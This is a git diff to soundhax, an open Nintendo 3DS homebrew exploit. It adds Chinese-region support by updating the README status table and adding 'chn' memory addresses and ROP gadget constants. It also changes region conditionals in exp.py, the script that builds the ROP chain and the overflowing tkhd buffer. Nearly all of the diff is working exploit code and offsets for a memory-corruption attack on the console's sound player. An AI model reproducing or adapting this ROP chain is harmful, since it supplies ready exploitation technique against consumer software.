diff --git a/README.md b/README.md
index 215683d..94cfbfe 100644
--- a/README.md
+++ b/README.md
@@ -26,8 +26,8 @@ While soundhax itself can be used with pre-v9.0(pre-v9.6 with KOR), \*hax payloa
 
 | Status | KOR | CHN | TWN |
 | --- | --- | --- | --- |
-| bug confirmed | ✓ | ✗ | ✗ |
-| sound constants | ✓ | ✗ | ✗ |
+| bug confirmed | ✓ | ✓ | ✗ |
+| sound constants | ✓ | ✓ | ✗ |
 | stage2 payload constants | ✓ | ✗ | ✗ |
 
 ## Installation
diff --git a/constants.py b/constants.py
index be19b91..8c5c5c4 100644
--- a/constants.py
+++ b/constants.py
@@ -61,83 +61,97 @@
         "eur": 0x15D62F10,
         "jpn": 0x15D62F10,
         "kor": 0x15D69A94,
+        "chn": 0x15D69A94,
         },
     "heapctx": {
         "usa": 0x0039B560,
         "eur": 0x0039B580,
         "jpn": 0x0039B520,
         "kor": 0x003B4520,
+        "chn": 0x003B4520,
         },
     "start": {
         "usa": 0x140018AF,
         "eur": 0x140018AF,
         "jpn": 0x140018AF,
         "kor": 0x140018AF,
+        "chn": 0x140018AF,
         },
     "end1": {
         "usa": 0x14001920,
         "eur": 0x14001920,
         "jpn": 0x14001920,
         "kor": 0x14001920,
+        "chn": 0x14001920,
         },
     "sleep_gadget": {
         "usa": 0x001B5A5C,
         "eur": 0x002F11C0,
         "jpn": 0x002F0F28,
         "kor": 0x0012A6C8,
+        "chn": 0x0012A6C8,
         },
     "gpu_flushcache_gadget": {
         "usa": 0x002E2958,
         "eur": 0x002E2AC8,
         "jpn": 0x002E2830,
         "kor": 0x0012B730,
+        "chn": 0x0012B730,
         },
     "gpu_enqueue_gadget": {
         "usa": 0x002E96FC,
         "eur": 0x002E9428,
         "jpn": 0x002E95D4,
         "kor": 0x00131B0C,
+        "chn": 0x00131B0C,
         },
     "memcpy_gadget": {
         "usa": 0x0022DB1C,
         "eur": 0x0022DB1C,
         "jpn": 0x0022DB1C,
         "kor": 0x00228910,
+        "chn": 0x00228954,
         },
     "pop_r0_pc": {
         "usa": 0x002e6f80,
         "eur": 0x002E70F0,
         "jpn": 0x002E6E58,
         "kor": 0x0012FA94,
+        "chn": 0x0012FA94,
         },
     "pop_r1_pc": {
         "usa": 0x0022B6C8,
         "eur": 0x0022B6C8,
         "jpn": 0x0022B6C8,
         "kor": 0x002220E0,
+        "chn": 0x00222124,
         },
     "payload_stack_addr": {
         "usa": 0x15D630C8,
         "eur": 0x15D630C8,
         "jpn": 0x15D630C8,
         "kor": 0x15D69C38,
+        "chn": 0x15D69C38,
         },
     "stage2_code_va": {
         "usa": 0x002F5D00,
         "eur": 0x002F5D00,
         "jpn": 0x002F5D00,
         "kor": 0x002F5D00,
+        "chn": 0x002F5D00,
         },
     "pop_r2_thru_r6_pc": {
         "usa": 0x0021462C,
         "eur": 0x00108910,
         "jpn": 0x0021462C,
         "kor": 0x00148740,
+        "chn": 0x00148748,
         },
     "payload_heap_addr": {
         "usa": 0x14200000,
         "eur": 0x14200000,
         "jpn": 0x14200000,
         "kor": 0x14200000,
+        "chn": 0x14200000,
         }
 }
diff --git a/exp.py b/exp.py
index 0c915e1..d05f766 100644
--- a/exp.py
+++ b/exp.py
@@ -122,7 +122,7 @@ def code_va_to_pa(va):
 rop += "cccc" # r5
 rop += "dddd" # r6
 rop += p(gpu_enqueue_gadget)
-if REGION != 'kor':
+if (REGION != 'kor') and (REGION != 'chn'):
     rop += "aaaa" # skipped
 rop += p(4)
 rop += p(payload_heap_addr)
@@ -132,7 +132,7 @@ def code_va_to_pa(va):
 rop += p(0)
 rop += p(8)
 rop += p(0)
-if REGION == 'kor':
+if (REGION == 'kor') or (REGION == 'chn'):
     rop += "aaaa" # skipped (with KOR the above gxcmd buffer is at sp+0 instead of sp+4, but stackframe size is the same)
 rop += "AAAA" # r4
 rop += "AAAA" # r5
@@ -140,7 +140,7 @@ def code_va_to_pa(va):
 rop += "AAAA" # r7
 rop += "AAAA" # r8
 rop += "AAAA" # r9
-if REGION != 'kor':
+if (REGION != 'kor') and (REGION != 'chn'):
     rop += "AAAA" # r10
     rop += "AAAA" # r11
 rop += p(pop_r0_pc) # pc
@@ -155,7 +155,7 @@ def code_va_to_pa(va):
 rop += payload
 
 tkhd_data = 'A'*136 # padding
-if REGION != 'kor':
+if (REGION != 'kor') and (REGION != 'chn'):
     tkhd_data += 'A'*0x28 # padding
 tkhd_data += rop # ROP starts here
 tkhd_data += '00000002000000000000940000000000000000000000000001000000000100000000000000'.decode("hex")